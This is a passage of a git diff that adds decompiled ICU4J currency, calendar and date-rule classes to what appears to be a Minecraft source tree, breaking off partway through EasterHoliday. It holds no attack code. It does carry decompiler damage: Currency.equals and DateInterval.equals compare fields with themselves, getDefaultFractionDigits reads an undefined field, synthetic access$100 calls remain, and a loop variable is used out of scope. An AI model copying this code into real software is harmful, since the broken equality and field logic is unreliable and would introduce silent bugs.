index 0000000..4cb4b73
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Currency.java
@@ -0,0 +1,917 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUDebug;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.impl.TextTrieMap;
+import com.ibm.icu.impl.TextTrieMap.ResultHandler;
+import com.ibm.icu.text.CurrencyDisplayNames;
+import com.ibm.icu.text.CurrencyMetaInfo;
+import com.ibm.icu.text.CurrencyMetaInfo.CurrencyDigits;
+import com.ibm.icu.text.CurrencyMetaInfo.CurrencyFilter;
+import java.io.Serializable;
+import java.lang.ref.SoftReference;
+import java.text.ParsePosition;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Currency
+  extends MeasureUnit
+  implements Serializable
+{
+  private static final long serialVersionUID = -5839973855554750484L;
+  private static final boolean DEBUG = ICUDebug.enabled("currency");
+  
+
+  private static ICUCache<ULocale, List<TextTrieMap<CurrencyStringInfo>>> CURRENCY_NAME_CACHE = new SimpleCache();
+  
+
+
+
+
+
+  private String isoCode;
+  
+
+
+
+
+
+  public static final int SYMBOL_NAME = 0;
+  
+
+
+
+
+  public static final int LONG_NAME = 1;
+  
+
+
+
+
+  public static final int PLURAL_LONG_NAME = 2;
+  
+
+
+
+
+  private static ServiceShim shim;
+  
+
+
+
+
+  private static final String EUR_STR = "EUR";
+  
+
+
+
+
+
+  private static ServiceShim getShim()
+  {
+    if (shim == null) {
+      try {
+        Class<?> cls = Class.forName("com.ibm.icu.util.CurrencyServiceShim");
+        shim = (ServiceShim)cls.newInstance();
+      }
+      catch (Exception e) {
+        if (DEBUG) {
+          e.printStackTrace();
+        }
+        throw new RuntimeException(e.getMessage());
+      }
+    }
+    return shim;
+  }
+  
+
+
+
+
+
+
+  public static Currency getInstance(Locale locale)
+  {
+    return getInstance(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+  public static Currency getInstance(ULocale locale)
+  {
+    String currency = locale.getKeywordValue("currency");
+    if (currency != null) {
+      return getInstance(currency);
+    }
+    
+    if (shim == null) {
+      return createCurrency(locale);
+    }
+    
+    return shim.createInstance(locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String[] getAvailableCurrencyCodes(ULocale loc, Date d)
+  {
+    CurrencyMetaInfo.CurrencyFilter filter = CurrencyMetaInfo.CurrencyFilter.onDate(d).withRegion(loc.getCountry());
+    List<String> list = getTenderCurrencies(filter);
+    
+
+    if (list.isEmpty()) {
+      return null;
+    }
+    return (String[])list.toArray(new String[list.size()]);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Set<Currency> getAvailableCurrencies()
+  {
+    CurrencyMetaInfo info = CurrencyMetaInfo.getInstance();
+    List<String> list = info.currencies(CurrencyMetaInfo.CurrencyFilter.all());
+    HashSet<Currency> resultSet = new HashSet(list.size());
+    for (String code : list) {
+      resultSet.add(new Currency(code));
+    }
+    return resultSet;
+  }
+  
+
+  private static final ICUCache<ULocale, String> currencyCodeCache = new SimpleCache();
+  
+
+
+
+  static Currency createCurrency(ULocale loc)
+  {
+    String variant = loc.getVariant();
+    if ("EURO".equals(variant)) {
+      return new Currency("EUR");
+    }
+    
+    String code = (String)currencyCodeCache.get(loc);
+    if (code == null) {
+      String country = loc.getCountry();
+      
+      CurrencyMetaInfo info = CurrencyMetaInfo.getInstance();
+      List<String> list = info.currencies(CurrencyMetaInfo.CurrencyFilter.onRegion(country));
+      if (list.size() > 0) {
+        code = (String)list.get(0);
+        boolean isPreEuro = "PREEURO".equals(variant);
+        if ((isPreEuro) && ("EUR".equals(code))) {
+          if (list.size() < 2) {
+            return null;
+          }
+          code = (String)list.get(1);
+        }
+      } else {
+        return null;
+      }
+      currencyCodeCache.put(loc, code);
+    }
+    return new Currency(code);
+  }
+  
+
+
+
+
+
+
+
+
+  public static Currency getInstance(String theISOCode)
+  {
+    if (theISOCode == null) {
+      throw new NullPointerException("The input currency code is null.");
+    }
+    if (!isAlpha3Code(theISOCode)) {
+      throw new IllegalArgumentException("The input currency code is not 3-letter alphabetic code.");
+    }
+    
+    return new Currency(theISOCode.toUpperCase(Locale.ENGLISH));
+  }
+  
+  private static boolean isAlpha3Code(String code) {
+    if (code.length() != 3) {
+      return false;
+    }
+    for (int i = 0; i < 3; i++) {
+      char ch = code.charAt(i);
+      if ((ch < 'A') || ((ch > 'Z') && (ch < 'a')) || (ch > 'z')) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public static Object registerInstance(Currency currency, ULocale locale)
+  {
+    return getShim().registerInstance(currency, locale);
+  }
+  
+
+
+
+
+
+
+  public static boolean unregister(Object registryKey)
+  {
+    if (registryKey == null) {
+      throw new IllegalArgumentException("registryKey must not be null");
+    }
+    if (shim == null) {
+      return false;
+    }
+    return shim.unregister(registryKey);
+  }
+  
+
+
+
+
+
+  public static Locale[] getAvailableLocales()
+  {
+    if (shim == null) {
+      return ICUResourceBundle.getAvailableLocales();
+    }
+    return shim.getAvailableLocales();
+  }
+  
+
+
+
+
+
+
+  public static ULocale[] getAvailableULocales()
+  {
+    if (shim == null) {
+      return ICUResourceBundle.getAvailableULocales();
+    }
+    return shim.getAvailableULocales();
+  }
+  
+
+
+
+  static abstract class ServiceShim
+  {
+    ServiceShim() {}
+    
+
+
+
+    abstract ULocale[] getAvailableULocales();
+    
+
+
+
+    abstract Locale[] getAvailableLocales();
+    
+
+
+
+    abstract Currency createInstance(ULocale paramULocale);
+    
+
+
+    abstract Object registerInstance(Currency paramCurrency, ULocale paramULocale);
+    
+
+
+    abstract boolean unregister(Object paramObject);
+  }
+  
+
+
+  public static final String[] getKeywordValuesForLocale(String key, ULocale locale, boolean commonlyUsed)
+  {
+    if (!"currency".equals(key)) {
+      return EMPTY_STRING_ARRAY;
+    }
+    
+    if (!commonlyUsed)
+    {
+      return (String[])getAllTenderCurrencies().toArray(new String[0]);
+    }
+    
+
+
+    String prefRegion = locale.getCountry();
+    if (prefRegion.length() == 0) {
+      if (UND.equals(locale)) {
+        return EMPTY_STRING_ARRAY;
+      }
+      ULocale loc = ULocale.addLikelySubtags(locale);
+      prefRegion = loc.getCountry();
+    }
+    
+    CurrencyMetaInfo.CurrencyFilter filter = CurrencyMetaInfo.CurrencyFilter.now().withRegion(prefRegion);
+    
+
+
+    List<String> result = getTenderCurrencies(filter);
+    
+
+    if (result.size() == 0) {
+      return EMPTY_STRING_ARRAY;
+    }
+    
+    return (String[])result.toArray(new String[result.size()]);
+  }
+  
+  private static final ULocale UND = new ULocale("und");
+  private static final String[] EMPTY_STRING_ARRAY = new String[0];
+  
+
+
+
+  public int hashCode()
+  {
+    return isoCode.hashCode();
+  }
+  
+
+
+
+
+  public boolean equals(Object rhs)
+  {
+    if (rhs == null) return false;
+    if (rhs == this) return true;
+    try {
+      Currency c = (Currency)rhs;
+      return isoCode.equals(isoCode);
+    }
+    catch (ClassCastException e) {}
+    return false;
+  }
+  
+
+
+
+
+  public String getCurrencyCode()
+  {
+    return isoCode;
+  }
+  
+
+
+
+
+
+
+  public int getNumericCode()
+  {
+    int code = 0;
+    try {
+      UResourceBundle bundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "currencyNumericCodes", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+      
+
+
+      UResourceBundle codeMap = bundle.get("codeMap");
+      UResourceBundle numCode = codeMap.get(isoCode);
+      code = numCode.getInt();
+    }
+    catch (MissingResourceException e) {}
+    
+    return code;
+  }
+  
+
+
+
+
+
+
+  public String getSymbol()
+  {
+    return getSymbol(ULocale.getDefault(ULocale.Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+  public String getSymbol(Locale loc)
+  {
+    return getSymbol(ULocale.forLocale(loc));
+  }
+  
+
+
+
+
+
+
+  public String getSymbol(ULocale uloc)
+  {
+    return getName(uloc, 0, new boolean[1]);
+  }
+  
+
+
+
+
+
+
+
+
+  public String getName(Locale locale, int nameStyle, boolean[] isChoiceFormat)
+  {
+    return getName(ULocale.forLocale(locale), nameStyle, isChoiceFormat);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getName(ULocale locale, int nameStyle, boolean[] isChoiceFormat)
+  {
+    if ((nameStyle != 0) && (nameStyle != 1)) {
+      throw new IllegalArgumentException("bad name style: " + nameStyle);
+    }
+    
+
+
+    if (isChoiceFormat != null) {
+      isChoiceFormat[0] = false;
+    }
+    
+    CurrencyDisplayNames names = CurrencyDisplayNames.getInstance(locale);
+    return nameStyle == 0 ? names.getSymbol(isoCode) : names.getName(isoCode);
+  }
+  
+
+
+
+
+
+  public String getName(Locale locale, int nameStyle, String pluralCount, boolean[] isChoiceFormat)
+  {
+    return getName(ULocale.forLocale(locale), nameStyle, pluralCount, isChoiceFormat);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getName(ULocale locale, int nameStyle, String pluralCount, boolean[] isChoiceFormat)
+  {
+    if (nameStyle != 2) {
+      return getName(locale, nameStyle, isChoiceFormat);
+    }
+    
+
+    if (isChoiceFormat != null) {
+      isChoiceFormat[0] = false;
+    }
+    
+    CurrencyDisplayNames names = CurrencyDisplayNames.getInstance(locale);
+    return names.getPluralName(isoCode, pluralCount);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getDisplayName()
+  {
+    return getName(Locale.getDefault(), 1, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getDisplayName(Locale locale)
+  {
+    return getName(locale, 1, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String parse(ULocale locale, String text, int type, ParsePosition pos)
+  {
+    List<TextTrieMap<CurrencyStringInfo>> currencyTrieVec = (List)CURRENCY_NAME_CACHE.get(locale);
+    if (currencyTrieVec == null) {
+      TextTrieMap<CurrencyStringInfo> currencyNameTrie = new TextTrieMap(true);
+      
+      TextTrieMap<CurrencyStringInfo> currencySymbolTrie = new TextTrieMap(false);
+      
+      currencyTrieVec = new ArrayList();
+      currencyTrieVec.add(currencySymbolTrie);
+      currencyTrieVec.add(currencyNameTrie);
+      setupCurrencyTrieVec(locale, currencyTrieVec);
+      CURRENCY_NAME_CACHE.put(locale, currencyTrieVec);
+    }
+    
+    int maxLength = 0;
+    String isoResult = null;
+    
+
+    TextTrieMap<CurrencyStringInfo> currencyNameTrie = (TextTrieMap)currencyTrieVec.get(1);
+    CurrencyNameResultHandler handler = new CurrencyNameResultHandler(null);
+    currencyNameTrie.find(text, pos.getIndex(), handler);
+    List<CurrencyStringInfo> list = handler.getMatchedCurrencyNames();
+    if ((list != null) && (list.size() != 0)) {
+      for (CurrencyStringInfo info : list) {
+        String isoCode = info.getISOCode();
+        String currencyString = info.getCurrencyString();
+        if (currencyString.length() > maxLength) {
+          maxLength = currencyString.length();
+          isoResult = isoCode;
+        }
+      }
+    }
+    
+    if (type != 1) {
+      TextTrieMap<CurrencyStringInfo> currencySymbolTrie = (TextTrieMap)currencyTrieVec.get(0);
+      handler = new CurrencyNameResultHandler(null);
+      currencySymbolTrie.find(text, pos.getIndex(), handler);
+      list = handler.getMatchedCurrencyNames();
+      if ((list != null) && (list.size() != 0)) {
+        for (CurrencyStringInfo info : list) {
+          String isoCode = info.getISOCode();
+          String currencyString = info.getCurrencyString();
+          if (currencyString.length() > maxLength) {
+            maxLength = currencyString.length();
+            isoResult = isoCode;
+          }
+        }
+      }
+    }
+    
+    int start = pos.getIndex();
+    pos.setIndex(start + maxLength);
+    return isoResult;
+  }
+  
+
+  private static void setupCurrencyTrieVec(ULocale locale, List<TextTrieMap<CurrencyStringInfo>> trieVec)
+  {
+    TextTrieMap<CurrencyStringInfo> symTrie = (TextTrieMap)trieVec.get(0);
+    TextTrieMap<CurrencyStringInfo> trie = (TextTrieMap)trieVec.get(1);
+    
+    CurrencyDisplayNames names = CurrencyDisplayNames.getInstance(locale);
+    for (Map.Entry<String, String> e : names.symbolMap().entrySet()) {
+      String symbol = (String)e.getKey();
+      String isoCode = (String)e.getValue();
+      symTrie.put(symbol, new CurrencyStringInfo(isoCode, symbol));
+    }
+    for (Map.Entry<String, String> e : names.nameMap().entrySet()) {
+      String name = (String)e.getKey();
+      String isoCode = (String)e.getValue();
+      trie.put(name, new CurrencyStringInfo(isoCode, name));
+    }
+  }
+  
+
+  private static final class CurrencyStringInfo
+  {
+    public CurrencyStringInfo(String isoCode, String currencyString)
+    {
+      this.isoCode = isoCode;
+      this.currencyString = currencyString;
+    }
+    
+    private String isoCode;
+    private String getISOCode() { return isoCode; }
+    
+
+    private String currencyString;
+    private String getCurrencyString() { return currencyString; }
+  }
+  
+  private static class CurrencyNameResultHandler implements TextTrieMap.ResultHandler<Currency.CurrencyStringInfo> {
+    private ArrayList<Currency.CurrencyStringInfo> resultList;
+    
+    private CurrencyNameResultHandler() {}
+    
+    public boolean handlePrefixMatch(int matchLength, Iterator<Currency.CurrencyStringInfo> values) {
+      if (resultList == null) {
+        resultList = new ArrayList();
+      }
+      while (values.hasNext()) {
+        Currency.CurrencyStringInfo item = (Currency.CurrencyStringInfo)values.next();
+        if (item == null) {
+          break;
+        }
+        for (int i = 0; 
+            i < resultList.size(); i++) {
+          Currency.CurrencyStringInfo tmp = (Currency.CurrencyStringInfo)resultList.get(i);
+          if (Currency.CurrencyStringInfo.access$100(item).equals(Currency.CurrencyStringInfo.access$100(tmp))) {
+            if (matchLength <= Currency.CurrencyStringInfo.access$200(tmp).length()) break;
+            resultList.set(i, item); break;
+          }
+        }
+        
+
+        if (i == resultList.size())
+        {
+          resultList.add(item);
+        }
+      }
+      return true;
+    }
+    
+    List<Currency.CurrencyStringInfo> getMatchedCurrencyNames() {
+      if ((resultList == null) || (resultList.size() == 0)) {
+        return null;
+      }
+      return resultList;
+    }
+  }
+  
+
+
+
+
+
+
+  public int getDefaultFractionDigits()
+  {
+    CurrencyMetaInfo info = CurrencyMetaInfo.getInstance();
+    CurrencyMetaInfo.CurrencyDigits digits = info.currencyDigits(isoCode);
+    return fractionDigits;
+  }
+  
+
+
+
+
+
+  public double getRoundingIncrement()
+  {
+    CurrencyMetaInfo info = CurrencyMetaInfo.getInstance();
+    CurrencyMetaInfo.CurrencyDigits digits = info.currencyDigits(isoCode);
+    
+    int data1 = roundingIncrement;
+    
+
+
+    if (data1 == 0) {
+      return 0.0D;
+    }
+    
+    int data0 = fractionDigits;
+    
+
+    if ((data0 < 0) || (data0 >= POW10.length)) {
+      return 0.0D;
+    }
+    
+
+
+    return data1 / POW10[data0];
+  }
+  
+
+
+
+  public String toString()
+  {
+    return isoCode;
+  }
+  
+
+
+
+
+
+
+  protected Currency(String theISOCode)
+  {
+    isoCode = theISOCode;
+  }
+  
+
+  private static final int[] POW10 = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000 };
+  
+
+  private static SoftReference<List<String>> ALL_TENDER_CODES;
+  
+
+  private static SoftReference<Set<String>> ALL_CODES_AS_SET;
+  
+
+  private static synchronized List<String> getAllTenderCurrencies()
+  {
+    List<String> all = ALL_TENDER_CODES == null ? null : (List)ALL_TENDER_CODES.get();
+    if (all == null)
+    {
+
+
+      CurrencyMetaInfo.CurrencyFilter filter = CurrencyMetaInfo.CurrencyFilter.all();
+      all = Collections.unmodifiableList(getTenderCurrencies(filter));
+      ALL_TENDER_CODES = new SoftReference(all);
+    }
+    return all;
+  }
+  
+  private static synchronized Set<String> getAllCurrenciesAsSet() {
+    Set<String> all = ALL_CODES_AS_SET == null ? null : (Set)ALL_CODES_AS_SET.get();
+    if (all == null) {
+      CurrencyMetaInfo info = CurrencyMetaInfo.getInstance();
+      all = Collections.unmodifiableSet(new HashSet(info.currencies(CurrencyMetaInfo.CurrencyFilter.all())));
+      
+      ALL_CODES_AS_SET = new SoftReference(all);
+    }
+    return all;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isAvailable(String code, Date from, Date to)
+  {
+    if (!isAlpha3Code(code)) {
+      return false;
+    }
+    
+    if ((from != null) && (to != null) && (from.after(to))) {
+      throw new IllegalArgumentException("To is before from");
+    }
+    
+    code = code.toUpperCase(Locale.ENGLISH);
+    boolean isKnown = getAllCurrenciesAsSet().contains(code);
+    if (!isKnown)
+      return false;
+    if ((from == null) && (to == null)) {
+      return true;
+    }
+    
+
+    CurrencyMetaInfo info = CurrencyMetaInfo.getInstance();
+    List<String> allActive = info.currencies(CurrencyMetaInfo.CurrencyFilter.onDateRange(from, to).withCurrency(code));
+    
+    return allActive.contains(code);
+  }
+  
+
+
+
+
+  private static List<String> getTenderCurrencies(CurrencyMetaInfo.CurrencyFilter filter)
+  {
+    CurrencyMetaInfo info = CurrencyMetaInfo.getInstance();
+    return info.currencies(filter.withTender());
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CurrencyAmount.java b/src/minecraft/com/ibm/icu/util/CurrencyAmount.java
new file mode 100644
index 0000000..3dbe86a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CurrencyAmount.java
@@ -0,0 +1,53 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CurrencyAmount
+  extends Measure
+{
+  public CurrencyAmount(Number number, Currency currency)
+  {
+    super(number, currency);
+  }
+  
+
+
+
+
+
+  public CurrencyAmount(double number, Currency currency)
+  {
+    super(new Double(number), currency);
+  }
+  
+
+
+
+
+  public Currency getCurrency()
+  {
+    return (Currency)getUnit();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CurrencyServiceShim.java b/src/minecraft/com/ibm/icu/util/CurrencyServiceShim.java
new file mode 100644
index 0000000..3a46247
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CurrencyServiceShim.java
@@ -0,0 +1,80 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.ICULocaleService;
+import com.ibm.icu.impl.ICULocaleService.ICUResourceBundleFactory;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.ICUService;
+import com.ibm.icu.impl.ICUService.Factory;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+final class CurrencyServiceShim
+  extends Currency.ServiceShim
+{
+  CurrencyServiceShim() {}
+  
+  Locale[] getAvailableLocales()
+  {
+    if (service.isDefault()) {
+      return ICUResourceBundle.getAvailableLocales();
+    }
+    return service.getAvailableLocales();
+  }
+  
+  ULocale[] getAvailableULocales() {
+    if (service.isDefault()) {
+      return ICUResourceBundle.getAvailableULocales();
+    }
+    return service.getAvailableULocales();
+  }
+  
+
+  Currency createInstance(ULocale loc)
+  {
+    if (service.isDefault()) {
+      return Currency.createCurrency(loc);
+    }
+    Currency curr = (Currency)service.get(loc);
+    return curr;
+  }
+  
+  Object registerInstance(Currency currency, ULocale locale) {
+    return service.registerObject(currency, locale);
+  }
+  
+  boolean unregister(Object registryKey) {
+    return service.unregisterFactory((ICUService.Factory)registryKey);
+  }
+  
+  private static class CFService extends ICULocaleService {
+    CFService() {
+      super();
+      
+
+
+
+
+
+
+      registerFactory(new ICULocaleService.ICUResourceBundleFactory()
+      {
+        protected Object handleCreate(ULocale loc, int kind, ICUService srvc)
+        {
+          return Currency.createCurrency(loc);
+        }
+        
+
+      });
+      markDefault();
+    } }
+  
+  static final ICULocaleService service = new CFService();
+}
diff --git a/src/minecraft/com/ibm/icu/util/DangiCalendar.java b/src/minecraft/com/ibm/icu/util/DangiCalendar.java
new file mode 100644
index 0000000..bdbf09f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/DangiCalendar.java
@@ -0,0 +1,125 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public class DangiCalendar
+  extends ChineseCalendar
+{
+  private static final long serialVersionUID = 8156297445349501985L;
+  private static final int DANGI_EPOCH_YEAR = -2332;
+  private static final TimeZone KOREA_ZONE;
+  
+  static
+  {
+    InitialTimeZoneRule initialTimeZone = new InitialTimeZoneRule("GMT+8", 28800000, 0);
+    long[] millis1897 = { -2302128000000L };
+    long[] millis1898 = { -2270592000000L };
+    long[] millis1912 = { -1829088000000L };
+    TimeZoneRule rule1897 = new TimeArrayTimeZoneRule("Korean 1897", 25200000, 0, millis1897, 1);
+    
+    TimeZoneRule rule1898to1911 = new TimeArrayTimeZoneRule("Korean 1898-1911", 28800000, 0, millis1898, 1);
+    
+    TimeZoneRule ruleFrom1912 = new TimeArrayTimeZoneRule("Korean 1912-", 32400000, 0, millis1912, 1);
+    
+
+    RuleBasedTimeZone tz = new RuleBasedTimeZone("KOREA_ZONE", initialTimeZone);
+    tz.addTransitionRule(rule1897);
+    tz.addTransitionRule(rule1898to1911);
+    tz.addTransitionRule(ruleFrom1912);
+    tz.freeze();
+    KOREA_ZONE = tz;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public DangiCalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public DangiCalendar(Date date)
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    setTime(date);
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public DangiCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale, 63204, KOREA_ZONE);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public String getType()
+  {
+    return "dangi";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/DateInterval.java b/src/minecraft/com/ibm/icu/util/DateInterval.java
new file mode 100644
index 0000000..04a85f7
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/DateInterval.java
@@ -0,0 +1,84 @@
+package com.ibm.icu.util;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DateInterval
+  implements Serializable
+{
+  private static final long serialVersionUID = 1L;
+  private final long fromDate;
+  private final long toDate;
+  
+  public DateInterval(long from, long to)
+  {
+    fromDate = from;
+    toDate = to;
+  }
+  
+
+
+
+
+
+  public long getFromDate()
+  {
+    return fromDate;
+  }
+  
+
+
+
+
+
+  public long getToDate()
+  {
+    return toDate;
+  }
+  
+
+
+
+  public boolean equals(Object a)
+  {
+    if ((a instanceof DateInterval)) {
+      DateInterval di = (DateInterval)a;
+      return (fromDate == fromDate) && (toDate == toDate);
+    }
+    return false;
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    return (int)(fromDate + toDate);
+  }
+  
+
+
+
+  public String toString()
+  {
+    return String.valueOf(fromDate) + " " + String.valueOf(toDate);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/DateRule.java b/src/minecraft/com/ibm/icu/util/DateRule.java
new file mode 100644
index 0000000..594c123
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/DateRule.java
@@ -0,0 +1,14 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+
+public abstract interface DateRule
+{
+  public abstract Date firstAfter(Date paramDate);
+  
+  public abstract Date firstBetween(Date paramDate1, Date paramDate2);
+  
+  public abstract boolean isOn(Date paramDate);
+  
+  public abstract boolean isBetween(Date paramDate1, Date paramDate2);
+}
diff --git a/src/minecraft/com/ibm/icu/util/DateTimeRule.java b/src/minecraft/com/ibm/icu/util/DateTimeRule.java
new file mode 100644
index 0000000..92289c1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/DateTimeRule.java
@@ -0,0 +1,327 @@
+package com.ibm.icu.util;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateTimeRule
+  implements Serializable
+{
+  private static final long serialVersionUID = 2183055795738051443L;
+  public static final int DOM = 0;
+  public static final int DOW = 1;
+  public static final int DOW_GEQ_DOM = 2;
+  public static final int DOW_LEQ_DOM = 3;
+  public static final int WALL_TIME = 0;
+  public static final int STANDARD_TIME = 1;
+  public static final int UTC_TIME = 2;
+  private final int dateRuleType;
+  private final int month;
+  private final int dayOfMonth;
+  private final int dayOfWeek;
+  private final int weekInMonth;
+  private final int timeRuleType;
+  private final int millisInDay;
+  
+  public DateTimeRule(int month, int dayOfMonth, int millisInDay, int timeType)
+  {
+    dateRuleType = 0;
+    this.month = month;
+    this.dayOfMonth = dayOfMonth;
+    
+    this.millisInDay = millisInDay;
+    timeRuleType = timeType;
+    
+
+    dayOfWeek = 0;
+    weekInMonth = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DateTimeRule(int month, int weekInMonth, int dayOfWeek, int millisInDay, int timeType)
+  {
+    dateRuleType = 1;
+    this.month = month;
+    this.weekInMonth = weekInMonth;
+    this.dayOfWeek = dayOfWeek;
+    
+    this.millisInDay = millisInDay;
+    timeRuleType = timeType;
+    
+
+    dayOfMonth = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DateTimeRule(int month, int dayOfMonth, int dayOfWeek, boolean after, int millisInDay, int timeType)
+  {
+    dateRuleType = (after ? 2 : 3);
+    this.month = month;
+    this.dayOfMonth = dayOfMonth;
+    this.dayOfWeek = dayOfWeek;
+    
+    this.millisInDay = millisInDay;
+    timeRuleType = timeType;
+    
+
+    weekInMonth = 0;
+  }
+  
+
+
+
+
+
+
+  public int getDateRuleType()
+  {
+    return dateRuleType;
+  }
+  
+
+
+
+
+
+
+  public int getRuleMonth()
+  {
+    return month;
+  }
+  
+
+
+
+
+
+
+
+  public int getRuleDayOfMonth()
+  {
+    return dayOfMonth;
+  }
+  
+
+
+
+
+
+
+
+  public int getRuleDayOfWeek()
+  {
+    return dayOfWeek;
+  }
+  
+
+
+
+
+
+
+
+
+  public int getRuleWeekInMonth()
+  {
+    return weekInMonth;
+  }
+  
+
+
+
+
+
+
+
+  public int getTimeRuleType()
+  {
+    return timeRuleType;
+  }
+  
+
+
+
+
+
+
+  public int getRuleMillisInDay()
+  {
+    return millisInDay;
+  }
+  
+  private static final String[] DOWSTR = { "", "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" };
+  private static final String[] MONSTR = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    String sDate = null;
+    String sTimeRuleType = null;
+    
+    switch (dateRuleType) {
+    case 0: 
+      sDate = Integer.toString(dayOfMonth);
+      break;
+    case 1: 
+      sDate = Integer.toString(weekInMonth) + DOWSTR[dayOfWeek];
+      break;
+    case 2: 
+      sDate = DOWSTR[dayOfWeek] + ">=" + Integer.toString(dayOfMonth);
+      break;
+    case 3: 
+      sDate = DOWSTR[dayOfWeek] + "<=" + Integer.toString(dayOfMonth);
+    }
+    
+    
+    switch (timeRuleType) {
+    case 0: 
+      sTimeRuleType = "WALL";
+      break;
+    case 1: 
+      sTimeRuleType = "STD";
+      break;
+    case 2: 
+      sTimeRuleType = "UTC";
+    }
+    
+    
+    int time = millisInDay;
+    int millis = time % 1000;
+    time /= 1000;
+    int secs = time % 60;
+    time /= 60;
+    int mins = time % 60;
+    int hours = time / 60;
+    
+    StringBuilder buf = new StringBuilder();
+    buf.append("month=");
+    buf.append(MONSTR[month]);
+    buf.append(", date=");
+    buf.append(sDate);
+    buf.append(", time=");
+    buf.append(hours);
+    buf.append(":");
+    buf.append(mins / 10);
+    buf.append(mins % 10);
+    buf.append(":");
+    buf.append(secs / 10);
+    buf.append(secs % 10);
+    buf.append(".");
+    buf.append(millis / 100);
+    buf.append(millis / 10 % 10);
+    buf.append(millis % 10);
+    buf.append("(");
+    buf.append(sTimeRuleType);
+    buf.append(")");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/EasterHoliday.java b/src/minecraft/com/ibm/icu/util/EasterHoliday.java
new file mode 100644
index 0000000..bb36c03
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/EasterHoliday.java
@@ -0,0 +1,149 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EasterHoliday
+  extends Holiday
+{
+  public EasterHoliday(String name)
+  {
+    super(name, new EasterRule(0, false));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public EasterHoliday(int daysAfter, String name)
+  {
+    super(name, new EasterRule(daysAfter, false));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public EasterHoliday(int daysAfter, boolean orthodox, String name)
+  {
+    super(name, new EasterRule(daysAfter, orthodox));
+  }
+  
+
+
+
+
+
+  public static final EasterHoliday SHROVE_TUESDAY = new EasterHoliday(-48, "Shrove Tuesday");
+  
+
+
+
+
+
